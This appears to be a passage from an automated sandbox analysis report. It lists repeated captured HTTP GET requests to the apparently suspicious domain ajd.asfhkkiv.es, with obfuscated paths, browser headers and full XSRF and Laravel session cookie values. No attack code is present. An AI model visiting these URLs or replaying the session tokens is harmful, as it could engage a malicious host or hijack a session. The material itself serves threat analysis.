laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kl9uKr77gZUwOw0J3Z7hyOplgPIHnVHZGF7vPJq5zPz7IeUU14RiG5EclAkJOHsxWT56qnZixWSnMhFAtW3czY3kfWM9WvWI3xTkXx55k720jmnH4GUz9xDE84xd7MfllZH9wx660 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im4zcHptcW5WNDBETk9YUTNONC8xNUE9PSIsInZhbHVlIjoiMG5ucHZXNnR2d2RCQ1dVZkRtQS90V2hnRnpiK3VBeG1adE5ySkx6NmkrNDMyWXN3QUhjMDRJbHJWaHo1VVZHb0pEdS83bnlCTkxtUStaY0hVZGJQQzJQR05kYWllZWl0ZkNGdzkxYUVMUGc3cEFjRTlwSTlzWTl2aDVqSnl1c3QiLCJtYWMiOiJkNmMxZWVhYTYwM2ZiMzI2NzRlN2I0OTgxYmQzZWZmYTFlMDRmZDc4NjM3NzdiYjg3ZDA1NTZlYjZlOTI4YTlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkttZVBuOWRaSDRHTFQrcW9JWEdPcUE9PSIsInZhbHVlIjoielZYdUIycW5KZHJvcVgvRFB1bXo3bUVkb3JLSnZMRE5EdUdEcTNCdHdPSmI5dWtKczBuckdqeTVEMERjQm1nUFdoK3J6T04xUTNjeDhrZDE0cVpYVzVqWnp0QkNmK0x2OVRTaEhXeWhpN2JhN3BKclFqVS9GWGNvaURxcldFVDkiLCJtYWMiOiIwZDMwM2FlYzM5MWMxMWMzMDgyY2Q4MjMzMjgwM2U1ZTIxZDYwNzBmOGRmZDdkMDJhODY0ZGZiNjkyYWNiZTRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wbbv240NdvXXNuWaT1NUj0Mmxf4u4UYhgTFyPg0IgY0GZuLvBx2r7Gtb HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klV6lQ48daxO4gaFe7dyNP2ltRDkGB5DSOEa6yU891xlRLn2cD36xysfgXiQab222 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /bczgNdV0NFjE9kqzLyIGbwAsKCPqS2llaa2k8s2SsmaIa14C2YYDQQqRDx8TD2S4pS5wQsXNc8dkkl7FwOzmnEuFkATJrZ9T5ClRx1hbdRvXZq7nrlUBb6WBUf0DKnToGtXfyXRwiaDRc1TAC7CqaGPcd670 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxstNlutVta5Skl6BG6w5HcstI7h8eX2X0gd34122 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrVikdnXpMqxhcRRzef70c00Scvin2fU83J367138 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef5F4nPN4JGLKcFyaAd6WEvLyyC5klLXH9nxeiuDCTPMefHylXQuI78150 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kl9uKr77gZUwOw0J3Z7hyOplgPIHnVHZGF7vPJq5zPz7IeUU14RiG5EclAkJOHsxWT56qnZixWSnMhFAtW3czY3kfWM9WvWI3xTkXx55k720jmnH4GUz9xDE84xd7MfllZH9wx660 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kl1cicXqtXnrIBi3ilbN5onJIVTjLzgxuaXsJyzdMCAc2W0UhFjQ92fDoE56170 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef5F4nPN4JGLKcFyaAd6WEvLyyC5klLXH9nxeiuDCTPMefHylXQuI78150 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kl1cicXqtXnrIBi3ilbN5onJIVTjLzgxuaXsJyzdMCAc2W0UhFjQ92fDoE56170 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /bczgNdV0NFjE9kqzLyIGbwAsKCPqS2llaa2k8s2SsmaIa14C2YYDQQqRDx8TD2S4pS5wQsXNc8dkkl7FwOzmnEuFkATJrZ9T5ClRx1hbdRvXZq7nrlUBb6WBUf0DKnToGtXfyXRwiaDRc1TAC7CqaGPcd670 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yztYRSgbZwoFpIqsLsfaAAaMTEHOAUUa35gDNmnWsJOYdNceg3Q1Y76AWieMjJQI90180 HTTP/1.1Host: ajd.asfhkkiv.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImU1UlpHRzlSMXVQVWs4ZTFJMDRMb2c9PSIsInZhbHVlIjoiZjZxbm8zZnhmb1I4M3JueU1qN1FhdEd0dWltTUdRbFI4WTFIZjhlZFhzcVdNMWhhMTJhaU5xUW10WndJc3VIUFRrR2pYVUJERURuVG56NlFIV1lLNUpZOVJqaXZWd0pFeSs4amdHNHhGbHMwYW5HeXNreWJEaUJiSFQ1NHA4N2EiLCJtYWMiOiIzZDNhYmZlOTBhMzUyZmI2Mzg4ZWY3ZDQ4ZTM1NmNkYWQ0NDE5MjY3MmUwMmRmZjA1YzUwYWIyMzI2NmYyNGQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBtdWlWVjBJdVBNRnVBYUZIYjMwcmc9PSIsInZhbHVlIjoiczQwZVV0Z1MzOFVhUUxnUHJhSzhCM1p4aElRYUEvbVkvWHV3QWpGYlNkMXljTlBFRHVaYWNjMjNrMHk1YUFIYkc4cVVTaTVGbUlOUmcwbGVYSWZKUHRvTSsrREpkSFhORDFmUG9JY0lpM0o4ZG41Y29raVZOaTNqUDFJcXhMRDMiLCJtYWMiOiI5Y2Q5YTZiMDViYWE0ZTMyMTE5ZDM0ZWYxNWIzYWQ1OGY0Mzg3YzcyMzhhYjM0ODYwOGVhMzk1N2FjMWRiMzczIiwidGFnIjoiIn0%3D
